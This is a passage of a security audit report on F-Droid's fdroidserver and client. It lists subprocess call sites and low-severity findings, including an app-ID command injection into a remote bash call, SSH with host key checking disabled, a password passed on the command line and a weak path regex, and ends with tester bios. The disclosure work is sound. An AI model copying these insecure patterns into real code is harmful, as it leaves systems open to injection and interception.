Location: ./fdroidserver/build.py:108 subprocess.check_output(['rsync', '--recursive', '--perms', '--links', '--quiet', '--rsh=' + 'ssh -o StrictHostKeyChecking=no' + ' -o UserKnownHostsFile=/dev/null' + ' -o LogLevel=FATAL' + ' -o IdentitiesOnly=yes' + ' -o PasswordAuthentication=no' + ' -p ' + str(sshinfo['port']) + ' -i ' + sshinfo['idfile'], path, sshinfo['user'] + "@" + sshinfo['hostname'] + ":" + ftp.getcwd()], stderr=subprocess.STDOUT)
Location: ./fdroidserver/build.py:137 fp.write(subprocess.check_output(['git', 'rev-parse', 'HEAD'], cwd=serverpath))
Location: ./fdroidserver/build.py:851 subprocess.call(['jar', 'uf', os.path.abspath(src), 'META-INF/' + fn], cwd=tmp_dir)
Location: ./fdroidserver/common.py:2701 if subprocess.call(['jar', 'xf', os.path.abspath(apk1)], cwd=os.path.join(apk1dir, 'jar-xf')) != 0:
Location: ./fdroidserver/common.py:2705 if subprocess.call(['jar', 'xf', os.path.abspath(apk2)], cwd=os.path.join(apk2dir, 'jar-xf')) != 0:
Location: ./fdroidserver/mirror.py:36 subprocess.call(['wget', verbose, '--continue', '--user-agent="fdroid mirror"', '--input-file=' + urls_file])
Location: ./fdroidserver/nightly.py:63 subprocess.check_call(['openssl', 'pkcs12', '-in', p12, '-out', key_pem, '-passin', 'pass:' + PASSWORD, '-passout', 'pass:' + PASSWORD]) subprocess.check_call(['openssl', 'rsa', '-in', key_pem, '-out', privkey,
Location: ./fdroidserver/nightly.py:263 subprocess.check_call(['ssh', '-Tvi', ssh_private_key_file, '-oIdentitiesOnly=yes', '-oStrictHostKeyChecking=no', servergitmirror.split(':')[0]])
Location: ./fdroidserver/nightly.py:281 subprocess.check_call(['fdroid', 'update', '--rename-apks', '--create-metadata', '--verbose'], cwd=repo_basedir)
Location: ./setup.py:23 version_git = subprocess.check_output(['git', 'describe', '--tags', '--always']).rstrip().decode('utf-8')
Location: ./setup.py:57 subprocess.check_call(['pandoc', '--from=markdown', '--to=rst', 'README.md', '--output=README.rst'], universal_newlines=True)
Location: ./fdroidserver/stats.py:163 p = subprocess.Popen(["zcat", logfile], stdout=subprocess.PIPE)
Location: ./fdroidserver/nightly.py:287 subprocess.check_call(['fdroid', 'server', 'update', '--verbose'], cwd=repo_basedir)
4.1.33 | OTF-033 — Maliciously Crafted Appid Code Injection in Fdroidserver Build.py |
Vulnerability ID: OTF-033 | |
Vulnerability type: Code Execution | |
Threat level: Low |
cmdline += " %s:%s" % (app.id, build.versionCode) chan.exec_command('bash --login -c "' + cmdline + '"')
4.1.34 | OTF-034 — Missing file type and size validation |
Vulnerability ID: OTF-034 | |
Vulnerability type: Arbitrary file in response | |
Threat level: Low |
Lines 275-303: 275: long fileLen = file.length(); ... ... 291: final long dataLen = newLen; 292: FileInputStream fis = new FileInputStream(file) { ... ... 303: res = createResponse(NanoHTTPD.Response.Status.PARTIAL_CONTENT, mime, fis);
4.1.35 | OTF-035 — Hardcoded root CA keys |
Vulnerability ID: OTF-035 | |
Vulnerability type: Hardcoded keys | |
Threat level: Low |
4.1.36 | OTF-036 — Use of weak methods for data protection |
Vulnerability ID: OTF-036 | |
Vulnerability type: Weak data protection | |
Threat level: Low |
4.1.37 | OTF-037 — Untrusted External Links |
Vulnerability ID: OTF-037 | |
Vulnerability type: Unverified remote resources | |
Threat level: Low |
4.1.38 | OTF-038 — Weak pattern matching filter |
Vulnerability ID: OTF-038 | |
Vulnerability type: Weak regular expression | |
Threat level: Low |
if (path.startsWith("/")) path = path.substring(1); Pattern p = Pattern.compile( String.format("^%s([^/]+/?).*", path));
4.2 | Non-Findings |
4.2.1 | (fdroid Client) Exploiting the Local Web Server of "Nearby Swap" to Navigate Directories |
4.2.2 | (fdroid Client) Exploiting Exported Activities and Broadcasts |
4.2.3 | (Privilege Extension) Static Analysis of APK |
6 | Conclusion |
Appendix 1 | Testing team |
Stefan Marsiske | Stefan runs workshops on radare2, embedded hardware, lock-picking, soldering, gnuradio/SDR, reverse-engineering, and crypto topics. In 2015 he scored in the top 10 of the Conference on Cryptographic Hardware and Embedded Systems Challenge. He has run training courses on OPSEC for journalists and NGOs.
|
Abhinav Mishra | When he hacked the first application while doing his engineering graduation, back in 2009 ... he thought, this is cool.
Now it has been 6+ years and Abhinav has been involved in hacking web, mobile and networks as a penetration tester.
Together with numerous accolades from multiple organization, for responsible disclosures of vulnerabilities.
He is also a part of Synack Red Team and Cobalt core team. Has performed 100+ web, 50+ mobile applications and numerous network penetration tests. |
Mahesh Saptarshi | Director, cyberSecurist Technologies. Mahesh is passionate about software security defences. He has performed a large number of pentests of enterprise, web and mobile applications. He has several US patents in the area of high availability and virtual machines technology. |
Melanie Rieback | Melanie Rieback is a former Asst. Prof. of Computer Science from the
VU, who is also the co-founder/CEO of Radically Open Security. |